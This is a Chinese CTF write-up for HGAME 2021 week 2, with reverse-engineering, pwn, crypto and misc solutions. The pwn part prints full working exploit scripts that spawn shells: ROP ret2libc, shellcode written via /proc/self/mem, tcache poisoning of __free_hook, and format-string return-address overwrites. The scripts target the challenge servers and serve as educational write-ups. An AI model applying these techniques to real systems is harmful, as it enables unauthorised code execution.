HGAME-WEEK2-WP

Posted on Feb 14, 2021

RE

fake_debugger beta

没搞懂,不同位置的不同字符对应的编码都不同,没什么思路,写了个脚本爆破了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')

total_char = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_=+|/?.>,<:;\"\'\\`~!@#$%^&*(){}[]'

def test(flag_now):
    sh = remote("101.132.177.131",9999)
    payload = flag_now
    sh.sendlineafter("now!\n",payload)
    for i in range(2 * len(flag_now)):
        sh.sendlineafter("---\n",' ')
    sh.recvuntil('eax: ')
    code = int(sh.recvuntil("\n"))
    sh.close()
    return code

def get_next(flag_now):
    sh = remote("101.132.177.131",9999)
    payload = flag_now + 'a'
    sh.sendlineafter("now!\n",payload)
    for i in range(2 * len(flag_now) + 2):
        sh.sendlineafter("---\n",' ')
    sh.recvuntil('ebx: ')
    code = int(sh.recvuntil("\n"))
    return code


flag = 'hgame{You_Kn0w_debuG'
while(flag[-1] != '}'):
    mapping = {}
    for charac in total_char:
        mapping[test(flag + charac)] = charac
        #print(str(test(charac)) + ':' + charac + '=>' + mapping[test(charac)])
    flag += mapping[get_next(flag)]
    print flag

print flag

分了几次爆破,所以这个脚本的起点就几乎是 flag

pwn

rop_primary

没什么难度,就是单纯的 ROP

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
import re

elf = ELF("./rop_primary")
pop_rdi_ret = 0x401613
pop_rsi_r15_ret = 0x401611
pop_r14_r15_ret = 0x401610

def matrixMul(A, B):
    if len(A[0]) == len(B):
        res = [[0] * len(B[0]) for i in range(len(A))]
        for i in range(len(A)):
            for j in range(len(B[0])):
                for k in range(len(B)):
                    res[i][j] += int(A[i][k]) * int(B[k][j])
        return res

sh = remote("159.75.104.107",30372)

sh.recvuntil("A:\n")
matA = []
matB = []
while 1:
    number_string = sh.recvuntil("\n",drop = True)
    if(number_string == 'B:'):
        break
    matA.append(re.findall(r"\d+\.?\d*",number_string))

while 1:
    number_string = sh.recvuntil("\n",drop = True)
    if(number_string == 'a * b = ?'):
        break
    matB.append(re.findall(r"\d+\.?\d*",number_string))

matAns = matrixMul(matA,matB)
print matAns

for i in matAns:
    for j in i:
        sh.sendline(str(j))

sh.recvuntil("best\n")
payload = 'a' * 0x30 + 'b' * 8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols["puts"]) + p64(0x40157B)
sh.sendline(payload)
leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success("addr:" + hex(leak_addr))

libc = LibcSearcher('puts',leak_addr)
libc_base = leak_addr - libc.dump("puts")
log.success("libc_base:" + hex(libc_base))
system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

payload = 'a' * 0x30 + 'b' * 8 + p64(pop_r14_r15_ret) + p64(0) * 2 
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
sh.sendlineafter('best\n',payload)
sh.interactive()

写完exp打远程的时候发现搜不出来 libc,考虑是 libc-database 版本过低,然后尝试更新,但是 libc-database 本身是装 LibcSearcher 的时候一起装的,可能安装的时候有点问题,get 脚本用不来,所以只好整个 libc-database 删掉重装,重新 get,家里的带宽确实比较小,整个更新大概花了半个多小时,再加上更新的时候干别的事情去了差点把这题忘了,所以很晚才打通,但是运气还算不错,抢到了一血,只比二血早了30秒

the_shop_of_cosmos

这道题是真的开阔视野了,出的是真当炫酷。程序的逻辑很简单,有无限次读文件和无限次写文件的机会。其实看到题目我第一个就想到了对 /proc 目录动手,但是当时觉得不知道服务器跑的进程的 uid 也没有用。虽然终端里面有 $UID 可以代替,但是 open 里没法用,遂放弃,想想真的很遗憾,放出 hint之后我仔细看了一下这个目录的相关知识,了解到有self 这个目录,每个进程访问都可以访问到自己的对应 uid 的目录,同时也避免了 frok 之类操作对 uid 的改变这样的问题。而每个进程对应 uid 目录中都有一些该进程信息的虚拟文件,我们主要关系 mapsmem,前者存储了进程的内存映射情况,可以获得各种基地址;后者则是进程占有的整个内存空间的映射,这个文件是可读写的,.text 也同样可写。所以思路就有了,先通过一次读获取进程的基地址,然后通过一次写把一段会执行的 .text 中的代码直接写成 shellcode 就可以 getshell 了。

利用整型溢出可以获得无限的钱,这个应该不用多说了

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')

elf = ELF("./shop")
libc = ELF("./libc.so.6")
sh = process("./shop")
sh = remote("159.75.104.107",30398)

sh.sendlineafter(">> ","1")
sh.sendlineafter(">> ","4294867296")

sh.sendlineafter(">> ",'2')
sh.sendlineafter(">> ",'1')
sh.sendlineafter(">> ",'/proc/self/maps')
sh.recvuntil(":")
prog_base = int(sh.recvuntil("-",drop = True),base = 16)
log.success("prog_base:",prog_base)

sh.sendlineafter(">> ",'3')
sh.sendlineafter(">> ",'1')
sh.sendlineafter(">> ",'/proc/self/mem')
sh.sendlineafter(">> ",str(prog_base + 0x17EC))
shellcode = asm(shellcraft.sh())
sh.sendlineafter(">> ",str(len(shellcode)))
sh.sendlineafter(">> ",shellcode)

sh.interactive()

patriot’s note

这算是一个 Tcache poisoning 的裸题了吧,以前做题的时候一直没去研究 Tcache 相关的机制,这一次看了一下发现确实使利用变的简单了许多。Tcache 的优先级很高,高于 Fastbintop chunk 的前向合并。 TcacheFastbin 其实挺像的,当然 Tcache 本身是一个单独维护的隔离链表,而 Fastbin 只是一个 LIFO 的单链表(换句话说就是用链表模拟的栈),这里来看的话区别还是很大的,但是在利用上有相似之处。就本题来看,存在 UAF ,可以对 Tcache 结构体的 next 指针任意写,这样就可以实现任意地址分配,从而实现任意地址写。和 FastbinArbitrary Alloc 没什么区别,唯一的就是 Tcache 不会对被分配地址 chunksize 标记做检测,所以我们甚至不需要伪造 size 就可以直接 Arbitrary Alloc 了。当然实现利用还需要一个 leak,可以申请并释放一个属于 Unsorted Binchunk(就本题而言,还需要避免这个 chunktop chunk 合并掉),这样在 bin中的chunkfd指针就会指向main_arena的一个固定偏移处,然后通过puts 功能就可以 leak 出 libc 的基地址了。

关于 main_arena

fd 指向 main_arena 的固定偏移处的原因

随随便便地说 fd 必定会指向 main_arena 的一个固定偏移显得很苍白,原因还是解释一下,main_arenaptmalloc 管理主分配区的唯一实例,其类型为 struct malloc_state,就 2.27 版本的 libc 来说是这样定义的

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

这里面的 bins 数组就保存了 Unsorted Bin 的头节点,由于 Unsorted Bin 用(循环)双向链表维护,那么链表中尾节点的 fd 就会指向头节点,也就是结构体的固定偏移处了(事实上 bins[0]bins[1] 就是 Unsorted Bin 的头节点),本题我们只往 Unsorted Bin 中放一个 bin,所以第这个 bin 就是尾节点了。事实上还是有必要多啰嗦几句,fd 指向下一个节点,bk 指向前一个节点,如果 Unsorted Bin 链表中不止一个 bin 的话第一个 binfd 是不会像本题一样指向 main_arena 的,但是 bk 仍然可以 leak,在 64 位机下由于地址高2字节为 \x00 的原因往往难以 leak 出 bk,但是 32 位机下往往是可以的。也就是说一些情况下不一定需要 leak 链表尾,头也是可以的。

附一张调试图

这样应该就很清楚了

如何获得 main_arena 的偏移

固定偏移具体是多少可以很容易地通过调试得出,也可以自己算,而 main_arena 相对于基地址的偏移稍微麻烦一点。把题目提供的 libc 放到 IDA 里面,找到 malloc_trim() 函数

dword_3EBC40 就是 main_arena 了。当然这样说他是就是显得很不负责任,凭啥说他是呢?还是要看一下 malloc.c 中的源码

int
__malloc_trim (size_t s)
{
  int result = 0;

  if (__malloc_initialized < 0)
    ptmalloc_init ();

  mstate ar_ptr = &main_arena;//<=here!
  do
    {
      __libc_lock_lock (ar_ptr->mutex);
      result |= mtrim (ar_ptr, s);
      __libc_lock_unlock (ar_ptr->mutex);

      ar_ptr = ar_ptr->next;
    }
  while (ar_ptr != &main_arena);

  return result;
}

两个对照一下就明白了。按说 main_arena 在很多函数里面肯定都出现了,为什么独独找这个函数呢?我也不知道。大家都用这个找就这个吧。

#!/usr/bin/env python
# coding=utf-8
from pwn import *

#sh = process("./note")
sh = remote("159.75.104.107",30369)
libc = ELF("./libc-2.27.so") 
def take(size):
    sh.sendlineafter("exit\n",'1')
    sh.sendlineafter("write?\n",str(size))

def delete(index):
    sh.sendlineafter("exit\n",'2')
    sh.sendlineafter("delete?\n",str(index))
  
def edit(payload,index):
    sh.sendlineafter("exit\n",'3')
    sh.sendlineafter("edit?\n",str(index))
    sh.send(payload)

def show(index):
    sh.sendlineafter("exit\n",'4')
    sh.sendlineafter("show?\n",str(index))

take(2048)#index:0
take(0x100)#index:1

delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
delete(1)

#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
#log.success("malloc_hook:" + hex(malloc_hook)) 
#edit(p64(malloc_hook - 0x10),1)
edit(p64(free_hook),1)
take(0x100)#index:2
take(0x100)#index:3

one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,3)

#take(0x200)
delete(0)
sh.interactive()

malloc_hook 的时候发现 one_gadget 都不能用,就改成 free_hook 了。

killerqueen

逻辑挺简单的,有两次格式化字符串攻击的机会,我选择第一次 leak,第二次改返回地址为 one_gadget getshell。其实刚开始的时候我是考虑通过格式占位符 %200000cprintf 输出大量字符,这样他就会调用 malloc(),那么就只有修改 __malloc_hook__free_hookone_gadget 就可以 getshell 了。但是由于 one_gadget 的限制不可行,就只好改返回地址了。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context(log_level = 'debug',os = 'linux',arch = 'amd64')
context.terminal = ['tmux','splitw','-h']
for i in range(0x70,0x79):#0x10a41c -> i==0x70;0x4f432 -> i==0x48
    try:
        #sh = process('./kq')
        sh = remote("159.75.104.107",30339)

        sh.sendlineafter("电话\n",'0')
        rand = int(sh.recvuntil(":",drop = True),base = 10)
        sh.sendlineafter("什么\n",'a')
        sh.send('\n')

        sh.sendlineafter("\n",str(-rand - 2))
        payload = '%19$p-%17$p-%24$p-%44$p'
        sh.sendlineafter("是——\n",payload)

        sh.recvuntil('...\n')
        _IO_2_1_stdout_addr = int(sh.recvuntil("-",drop = True),base = 16)
        _IO_file_write_addr = int(sh.recvuntil("-",drop = True),base = 16) - 45
        prog_base = int(sh.recvuntil("-",drop = True),base = 16) - 0x10b8
        stack_addr = int(sh.recvuntil("\n",drop = True),base = 16)
        ret_addr = stack_addr - 0x28 - 0xE0 
        log.success('_IO_2_1_stdout_:' + hex(_IO_2_1_stdout_addr))
        log.success('ret_addr:' + hex(ret_addr))

        libc = LibcSearcher("_IO_2_1_stdout_",_IO_2_1_stdout_addr)
        libc.add_condition("_IO_file_write",_IO_file_write_addr)
        libc_base = _IO_2_1_stdout_addr - libc.dump("_IO_2_1_stdout_")
        log.success('libc_base:' + hex(libc_base))
        log.success('_IO_file_write_addr:' + hex(_IO_file_write_addr))
        log.success('_IO_file_write_addr_calc:' + hex(libc_base + libc.dump('_IO_file_write')))
        malloc_hook = libc_base + libc.dump("__malloc_hook")
        one_gadget = libc_base + 0x10a41c
        #one_gadget = prog_base + 0x910
        log.success('one:' + hex(one_gadget))

        #payload = fmtstr_payload(6,{malloc_hook:one_gadget},numbwritten = 0,write_size = 'short')

        target_info = [[one_gadget & 0xFFFF,0],[(one_gadget >> 16) & 0xFFFF,2],[(one_gadget >> 32) & 0xFFFF,4]]
        target_info = sorted(target_info,key = (lambda x:x[0]))
        print target_info
        payload = '%15$lln' 
        payload += '%' + str(target_info[0][0]) + 'c' + '%12$hn'
        payload += '%' + str(target_info[1][0] - target_info[0][0]) + 'c' + '%13$hn'
        payload += '%' + str(target_info[2][0] - target_info[1][0]) + 'c' + '%14$hn'
        payload = payload.ljust(48,'a')
        payload += p64(ret_addr + target_info[0][1])
        payload += p64(ret_addr + target_info[1][1])
        payload += p64(ret_addr + target_info[2][1])
        payload += p64(ret_addr + i)
        payload = payload.ljust(0x100,'\x00')

        print payload
        #payload += '%150000cok'
        sh.sendafter("什么\n",payload)
        sh.recvuntil("a")
        log.success('one:' + hex(one_gadget))
        #gdb.attach(proc.pidof(sh)[0])
        sh.sendline("")
        sh.sendline("echo 'pwned'")
        sh.recvuntil("pwned")
        sh.interactive()
        break
    except:
        sh.close()

麻烦还是有点麻烦的,调了不少时间。

Crypto

signin

扩欧扩欧扩欧,头疼死了

c 的生成方式为c = a ** p * m % p,那么就是

$$ c = (a^p *m) \mod p

$$

稍微化简一下就是

$$ a*flag \equiv c \pmod p

$$

这个用扩欧就可以解掉了

python 随便抄一手

import libnum

a = 91800102844500997636793818421226295694813409817830489986833264638564136146943461411103817292401828996969369233967170793637678650849601387696384435842781413361986937383468183147837368716916336923130401758692466637339900841685124190941738003871183340798882867448829494255476406285790471594507528969176256426783
p = 140208111156456080600354739062343045536089117061048107161300830037553007780214441135312269792888390170833068116015297988457063303634427372811831533471300403210269143894289963232120754105029762436830871759622002703367278520094311613669797030109244450375247896616467172698874479881280112375643366820088374319151
c = 62669984905093476761116364147896749261246394704533378920607682538236231297338606898577411604795029080149360734264123808823106673707234674405503927459966218608821552490093818187535294751043077224591345844102800422939078248578001422406911409828355694332378238370530048125215690309230305439084596199405057273963


def fastExpMod(b, e, m):
    result = 1
    while e != 0:
        if (e&1) == 1:
            # ei = 1, then mul
            result = (result * b) % m
        e >>= 1
        # b, b^2, b^4, b^8, ... , b^(2^n)
        b = (b*b) % m
    return result

def gcd(a,b):
    if(b == 0):
        return a
    else:
        return gcd(b,a % b)

def exgcdRecursion(a,b):
    if b==0:
        x = 1
        y = 0
        return (a,x,y)
    r,x,y = exgcdRecursion(b,a%b)
    t = x
    x = y
    y = t- a // b * y
    return (a,x,y)

a = fastExpMod(a,p,p)
#print(a)
#print(gcd(a,p))

flag = c * (exgcdRecursion(a,p)[1])
#print(flag)
start_it = (-flag) // p + 1

for t in range(start_it,start_it + 1000):
    try:
        print(str(flag + t * p))
        flag_str = libnum.n2s(flag + t * p)
        print(flag_str)
        if(flag_str[:6] == 'hgame{'):
            log.success('t:' + t)
    except:
        t=t

python 的实数除精度是有限的,需要用 // 当时不知道,用的 / ,导致一直都还原不出来,浪费不少时间。

gcd or more?

chiper 的生成方式为 cipher = pow(s2n(FLAG), 2, n),简单的化简一下就是

$$ flag^2 \equiv cipher \pmod n

$$

由于 $flag$ 一定存在,所以这是一个二次剩余问题

若$n$是奇素数,那么用 $Cipolla$ 算法可以在 $O(log_2 n)$ 的时间内解决掉。然而本题的 $n=pq$,$p$,$q$都是奇素数,所以可以先分解为二次同余方程组

$$ flag^2 \equiv cipher \pmod n \Rightarrow \begin{cases} flag_1^2 \equiv chiper \pmod p\ flag_2^2 \equiv chiper \pmod q \end{cases}

$$

用 $Cipolla$ 算法解出两个方程组的解,每个方程组各有两个解

(84812196578912497483199456102681113661036350274620044265283928278516249390960L, 416368442216404370115478480447969780952694950402497033266642170873590218059L)
(33570896975793191313496233193196351806104943487094925756639556604941759642419L, 78043817665571719999419061286654197325730434558907498221349901238129429193852L)

然后两组里一对一进行 $CRT$ 合并,可以得出四个解,其中就有某个可以还原出 flag

$Cipolla$

#Converts n to base b as a list of integers between 0 and b-1
#Most-significant digit on the left
def convertToBase(n, b):
	if(n < 2):
		return [n]
	temp = n
	ans = []
	while(temp != 0):
		ans = [temp % b]+ ans
		temp /= b
	return ans
 
#Takes integer n and odd prime p
#Returns both square roots of n modulo p as a pair (a,b)
#Returns () if no root
def cipolla(n,p):
	n %= p
	if(n == 0 or n == 1):
		return (n,-n%p)
	phi = p - 1
	if(pow(n, phi/2, p) != 1):
		return ()
	if(p%4 == 3):
		ans = pow(n,(p+1)/4,p)
		return (ans,-ans%p)
	aa = 0
	for i in xrange(1,p):
		temp = pow((i*i-n)%p,phi/2,p)
		if(temp == phi):
			aa = i
			break;
	exponent = convertToBase((p+1)/2,2)
	def cipollaMult((a,b),(c,d),w,p):
		return ((a*c+b*d*w)%p,(a*d+b*c)%p)
	x1 = (aa,1)
	x2 = cipollaMult(x1,x1,aa*aa-n,p)
	for i in xrange(1,len(exponent)):
		if(exponent[i] == 0):
			x2 = cipollaMult(x2,x1,aa*aa-n,p)
			x1 = cipollaMult(x1,x1,aa*aa-n,p)
		else:
			x1 = cipollaMult(x1,x2,aa*aa-n,p)
			x2 = cipollaMult(x2,x2,aa*aa-n,p)
	return (x1[0],-x1[0]%p)
 
n = long(input())
p = long(input())
print cipolla(n,p)

$exCRT$

#!/usr/bin/env python
# coding=utf-8
from functools import reduce

def gcd(a, b):
    if b==0: return a
    return gcd(b, a%b)

def lcm(a, b):
    return a * b // gcd(a,b)

def exgcd(a, b):
    if b==0: return 1, 0
    x, y = exgcd(b, a%b)
    return y, x - a//b*y

def uni(P, Q):
    r1, m1 = P
    r2, m2 = Q

    d = gcd(m1, m2)
    assert (r2-r1) % d == 0

    l1, l2 = exgcd(m1//d, m2//d)
  
    return (r1 + (r2-r1)//d*l1*m1) % lcm(m1, m2), lcm(m1, m2)

def CRT(eq):
    return reduce(uni, eq)

if __name__ == "__main__":
    n = int(input())
    eq = [list(map(int, input().strip().split()))[::-1] for x in range(n)]
    print(CRT(eq)[0])

当然完全没有必要用 $exCRT$ 合并,毕竟$p$,$q$都是质数,但是有找到这个板子就免得我手打 $CRT$ 了。

最后合并出来并转成字符串就得到了 flag:hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}

WhitegiveRSA

给了公钥和密文,看 N 不甚大,随便找个网站分解一下得

p = 1029224947942998075080348647219
q = 857504083339712752489993810777

然后就是要求 d 了,即求$d$令$ed \equiv 1 \ \pmod{r}$($r = pq$),这个一看就是个扩欧,曾经打过 OI,这个东西当时也是会写的,但是现在我看到算法就头疼,所以就随便找了个板子跑了一下

# coding = utf-8
def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y
 
def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)
 
p = 1029224947942998075080348647219
q = 857504083339712752489993810777
e = 65537
 
n = p * q
fn = (p - 1) * (q - 1)
 
d = computeD(fn, e)
print(str(d))

解出 d = 121832886702415731577073962957377780195510499965398469843281,然后考虑解密,这个时候我发现了 RSA Tool 2 by tE 这个工具,意识到之前的工作白做了

直接获得flag

MISC

感觉都是脑洞题,看来需要多玩玩解密游戏练练脑子

Tools

第一步用 F5-steganography 解密图片,密码为备注中的 !LyJJ9bi&M7E72*JyD,获得压缩包密码 e@317S*p1A4bIYIs1M,解压压缩包

第二步用 Steghide 解密,密码仍然在备注中,解密得 u0!FO4JUhl5!L55%$&

第三步用 outguess,这个东西好像只能自己编译安装,我在编译的时候爆了一堆 warning,但是好想还是可以用,得密码 @UjXL93044V5zl2ZKI

第四步用 JPHS,充满年代感的程序,获得密码 xSRejK1^Z1Cp9M!z@H

最后得到四张二维码碎片,合起来一扫,获得flag:hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

Telegraph:1601 6639 3459 3134 0892

拿到音频,听了一下,前面很正常,1分10秒左右开始出现电报的声音,2分30秒左右又有明显的噤声,猜测是频谱隐写,拖到AU中一看

果然,写了一个大大的850Hz,一看1分10秒850Hz处

的确有长短码,读出来是-.-- --- ..- .-. ..-. .-.. .- --. .. ... ....- --. ----- ----- -.. ... ----- -. --. -... ..- - -. ----- - ....- --. ----- ----- -.. -- .- -. ----- ...-- ----. ...-- .---- ----- -.- ..,随便找个网站翻译一下

YOURFLAGIS4G00DS0NGBUTN0T4G00DMAN039310KI,所以flag为 hgame{4G00DS0NGBUTN0T4G00DMAN039310KI},读错了许多次,眼睛都看花了。

Hallucigenia

这个奇怪的生物令人不适

看到 png,先 stegsolve 里面看一下,上周的题目是改高度,当时直接改过了,就没解出来,这次不用改高度,直接看就可以了

二维码扫出来是

gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=

看到等号,估计是 base64,解压一下发现是乱码,但是末尾有 png 的魔数,联想到题干的颠倒,估计这实际上是个 png,简单写个脚本逆一下

#!/usr/bin/env python
# coding=utf-8
import base64

s = 'gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk='
de = base64.b64decode(s)
print de[::-1]

然后获得一个png

直接看看不懂,借助在线工具翻转(Google png 水平翻转 第一个)

获得flag

DNS

这道题又是给了一个 pcapng,里面不断出现 https://flag.hgame2021.cf/ 这个域名,考虑登进去看看,发现一直有弹窗,就把js禁用掉了,网站源码为

<html>
<head>
</head>
<body>
<script>
            while(true){
                alert("Flag is here but not here")
            }
        </script>
<b>Do you know SPF?</b>
</body>
</html>

SPF是啥?谷歌一下有说是防晒霜的,估计和题目没关系,应该是发件人策略框架吧,引用Wiki:

发件人策略框架(英语:Sender Policy Framework;简称SPFRFC 4408)是一套电子邮件认证机制,可以确认电子邮件确实是由网域授权的邮件服务器寄出,防止有人伪冒身份网络钓鱼或寄出垃圾电邮。SPF允许管理员设定一个DNS TXT记录SPF记录设定发送邮件服务器的IP范围,如有任何邮件并非从上述指明授权的IP地址寄出,则很可能该邮件并非确实由真正的寄件者寄出(邮件上声称的“寄件者”为假冒)。[1]

这个东西其实就是 DNS 服务器的一个记录,如果一个网站要向用户发送邮件,这个记录就可以证明该邮件是该网站管理员发送的。那么既然是存在 DNS 服务器里面的,我们就可以看一下。据说 nslookup 可以用,但是我好像不会,顺着这个网站找到了这个网站(二者都充满年代感),最后 flag 就藏在记录里